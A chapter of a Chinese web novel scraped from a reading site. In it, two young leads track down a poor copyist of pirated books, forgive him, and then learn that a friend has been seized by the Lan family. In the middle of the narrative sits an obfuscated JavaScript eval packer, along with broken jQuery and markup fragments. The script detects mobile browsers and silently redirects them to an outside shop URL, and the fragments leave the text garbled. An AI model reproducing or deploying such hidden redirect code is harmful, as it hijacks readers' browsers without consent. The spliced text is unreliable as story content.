文趣网 > 其他小说 > 姜小姐演技一流 > 54. 强迫成亲(一)
    “没关系,无论是什么病症,都有痊愈的一天。既然你已经下定决心,耐心等待就好。”韦懿宸安慰道。

    “或许吧。”不知为何,姜之唯总觉得有一种不祥的预感。

    两人继续往前走,寻找回城的办法。

    “勾望,你小子又在偷懒!”路过一户农家,院中晾晒了许多草药,一个身穿粗布麻衣的妇人,看模样应该有五六个月身孕,正在责骂在石台上写字的男人。

    打骂得急了,就算是脾气再好的人,也会表现出不悦。勾望放下笔,眉眼里藏着怒意,“够了!芸娘,我每日在这里抄书、写画,就是为了让你和腹中的孩子好过一点。这些草药从采摘到晾晒,那一步容易了,我现在的掌柜很好,只要我每日抄书,按时完成任务,月底就会给我五两银子。你不是很想买韦家布庄的布匹吗,等我有了钱——”

    勾望字字含情,芸娘的怒容被他慢慢消解。说到最后,勾望慢慢扶着她坐到石桌旁,蹲在芸娘腿边,声音温柔到要掐出水,“芸娘,当初成亲那日,我就同你保证过,我会让你过上好日子,你一定要相信我。”

    夫妻二人郎情妾意,姜之唯看得不禁眼眶发热。在自己仅有的记忆中,爹娘也曾这样相处过,不过随着时间的流逝,爹娘的模样越发模糊,直到现在回忆起来,已经完全不记得他们的模样了。

    一阵清风吹过,石桌上的纸页被吹起,意外来到韦懿宸脚边。

    捡起那张纸,上面是那盗版书册的后续。

    竟然还敢出后续?

    纵使他的娘子身怀六甲、纵使他家中贫寒,韦懿宸也不能容忍。捏着纸张,当即就要冲进去。

    姜之唯正感动,回忆爹娘祖母带给自己的温暖。注意到韦懿宸动作,赶紧伸手拉住他的袖子,将人先拽到一边,小声问他,“你要干什么?”

    “他,就是那个勾望。”韦懿宸展示纸张给姜之唯。

    姜之唯没看,继续拉着韦懿宸的袖子据理力争,“就算是也不行。韦懿宸,人家夫妻琴瑟和鸣,你突然出现算什么?再说了,她娘子有孕,如果知道自己的丈夫做这样腌臜事,一定会受不了的。到时候,真的出事了,你怎么办?”

    “那也不能纵容他,我一定——”平日里韦懿宸心肠极软,三言两语就能把他说动。如今这件事,不是心软就能改变的,他也不愿退让。

    正当两人争执的时候,勾望的声音从背后响起,“二位是来找我的吗?”

    “是的,你就是勾望?”姜之唯袖子中的手拍了拍韦懿宸,示意他先让自己来。虽然不情愿,韦懿宸还是应允了姜之唯。

    勾望点头,“不知两位公子小姐,找我有何贵干?”

    “这是你写的吗?”姜之唯把书页递过去。

    刚刚写就,上面的墨痕还没干。勾望不觉得有什么可隐瞒的,点头。

    姜之唯:“那你知道,这本书是假的吗?”

    勾望诧异:“假的?书籍怎么会有假的呢?”

    姜之唯懵逼:“啊?”

    韦懿宸常年与各种人打交道,久了便能识人品、断面相。通过刚才的一系列交流,韦懿宸断定,勾望没有说谎,那究竟是谁做的这批假书?

    韦懿宸:“你会写字,应该是上过学堂的。你给人抄书,难道不懂书中讲的道理吗?”

    “说来惭愧,我并不识字。”勾望苦涩一笑,颔首抱歉,“我会写字,是因为小的时候常去印刷坊帮工,里面的老师傅教会我刻字、写字,我才会写字,但家中一直没钱,我也就没机会上学堂,学习书中的道理。”

    这世上有许多目不识丁的人依旧在用力地活着。韦懿宸常年走商贩货,什么奇闻异事都见过,自然不觉得这事稀奇。

    韦懿宸问:“虽然你不识字,但给假货抄书,就是助纣为虐。你能告诉我,是谁让你做的吗?”

    勾望回忆那人模样人山人海的,总是拼凑不出一张完整的人脸。勾望的娘子去村头洗衣了,三人干脆回到勾望家,执笔画下那张人脸。

    姜之唯和韦懿宸各拿一张纸,按照勾望的描述,画出那张人脸。最后经过一番对比揣摩,他们终于确定是谁找勾望做得这些。

    “说来惭愧,我以为找到了一份好差事,能帮我娘子减轻些负担,让我即将出世的孩儿生活得更加优渥。没想到,竟然无心办了坏事。”勾望十分惭愧,将这些日子抄好的纸页全部烧毁。

    火光升腾,勾望想把毛笔也丢进去,被姜之唯拦住,“这个别丢啊。这一根笔可不便宜,你孩子要出事了,还得多多抄书赚钱呢。”

    “可是我做了坏事。”勾望丧气垂头,“我虽然没有上过学堂,教我刻字的老师傅曾经告诉过我,世上有些事情绝对不能做。错事即使做了半步,也是错了,做错事情就要承担责任,想办法解决。”

    “知错能改,善莫大焉。你能有这样觉悟,已经超过很多人了。而且你告诉了我们背后的人是谁,这份错处在你这里已经斩断,就不会有更多的人遭遇欺骗。”韦懿宸将书页还给他,“你今后可以继续抄书。既然有糊口的本事,为什么舍近求远呢?”

    勾望的震惊久久不能收回,视线一直追随着两人。

    他不明白,城里的那些公子少爷,每一个都恨不得把鼻子拽上天,刚刚见面的时候,韦懿宸也同他们差不多。没想到相处下来,这位少爷竟然原谅了自己,还劝自己继续抄书。

    直到两人的身影看不见,娘子洗完衣服,端着盆回来,勾望才慢慢收回视线。

    纸张快要烧完了,星星点点的火苗倔强跳跃着。将手里最后一张丢进去,火焰瞬间窜起。娘子也看到了,惊讶问他,“这些天你一直在抄这些,为什么烧了?难道不给你银子了。”

    勾望:“并非,我想清楚了,以后我不会整日抄书了。如果收拾好这些药材,也是能卖出大价钱的,爹娘都是炮制草药的,咱们不能荒废了这门功夫。抄书可以在空闲的时候,晚上也可以,冬天不忙的时候也可以。”

    勾望能想明白这些,娘子很感动,两人依偎在一起,共同畅想遥远又美好的未来。

    -

    找了几人问路,又走了几次冤枉路,他们终于回城了。

    看到城内亲切的房屋建筑,姜之唯感动得简直想哭。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864331|212142||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    村里的生活虽然好,到处都是草木,望也望不到头,很容易就会迷路,还有被蛇虫咬伤的风险,对姜之唯来说,并不是一个适合生活的地方。

    看到有卖炒栗子的摊位,丢下韦懿宸,姜之唯买了一袋边走边吃,无忧无虑,十分快乐。这样简单的一件事,就能让她这样快乐,望着她的侧脸,韦懿宸不由得欣慰笑着。

    韦懿宸的唇角还没彻底勾起,姜之唯就将一个栗子塞给他,“好吃吗?刚才你一直在看,我猜你也想吃,就分你一半吧。”

    说完,姜之唯还很大方地将栗子递过去,让韦懿宸随便拿。

    口中的栗子甜腻松软,这丝丝甜味,一直甜到了韦懿宸心底,他盯着姜之唯,伸手抓了两颗栗子,“我只要两个就够了,剩下的你自己慢慢吃吧。我看你很喜欢,这些够吗,需不需要我再买一点?”

    “不用,不用。”姜之唯摇头,“时候不早了,等我回去也该吃饭了。一袋栗子就已经很多了,再多了,我就吃不下晚饭了。”

    说话的时候,姜之唯表情雀跃,眼角眉梢都在飞扬着笑意,韦懿宸缓缓收回视线,继续往前走。

    吃完一颗栗子,姜之唯想起勾望,想起那个让他抄书的人,“让勾望抄书那个人,你打算怎么处置?”

    “敢做这件事的人,绝非等闲之辈。慢慢揪出来,将背后的人斩草除根,省得他坑害更多人。”韦懿宸说这话的时候,眼角眉梢都是少年意气风采,与往日的纨绔模样截然不同。

    第一次看到韦懿宸这般神情,姜之唯恍惚了下,赶紧低头剥栗子,用力肯定韦懿宸的话,“没错,绝对不能让这样的毒瘤坑害到别人。”

    话毕,两人并肩走着,直到把姜之唯送回漆晋春的铺子。这一路,姜之唯的栗子也吃完了,进门的时候两手空空,心情却莫名地好。

    一蹦一跳进到里面,就看到姜鹤愁眉苦脸地坐在桌边,手边还放着一张文书。

    看到姜之唯回来了,姜鹤跟看到救星一样,赶紧迎上去,将文书拿给她看,“小姐,阿春她——”

    文书把情况写得非常严重,姜之唯越看眉头皱得越紧,“这是怎么回事?”

    姜鹤摇头,“我也不知道。下午,突然有人进来把阿春抓走,然后丢下一张这个,告诉我说,让小姐去蓝家找她。”

    “蓝家。”姜之唯百思不解。

    怎么会是蓝家?

    已经约定好退婚,现在又想做什么?

    安抚好姜鹤,姜之唯来到蓝家。这次进去得很顺利,畅通无阻地来到了铃麒院中。

    “铃夫人,又见面了。”这次见面,姜之唯褪去以往的温和谦逊,单刀直入,“铃麒夫人,你抓了我的朋友,到底想做什么?”

    “你的朋友卖了有毒的花草,被我提前发现拦了下来,你应该感谢我。如此质问我,算怎么回事?知恩不报吗?”铃麒现在这样与札尔克别无二致,直到现在,姜之唯才惊觉,儿子都这样疯魔,做母亲的又能是什么善良的角色呢?

    姜之唯冷静发问:“夫人下毒又救人,难道只是想让别人承蒙你的恩情,你想做什么?”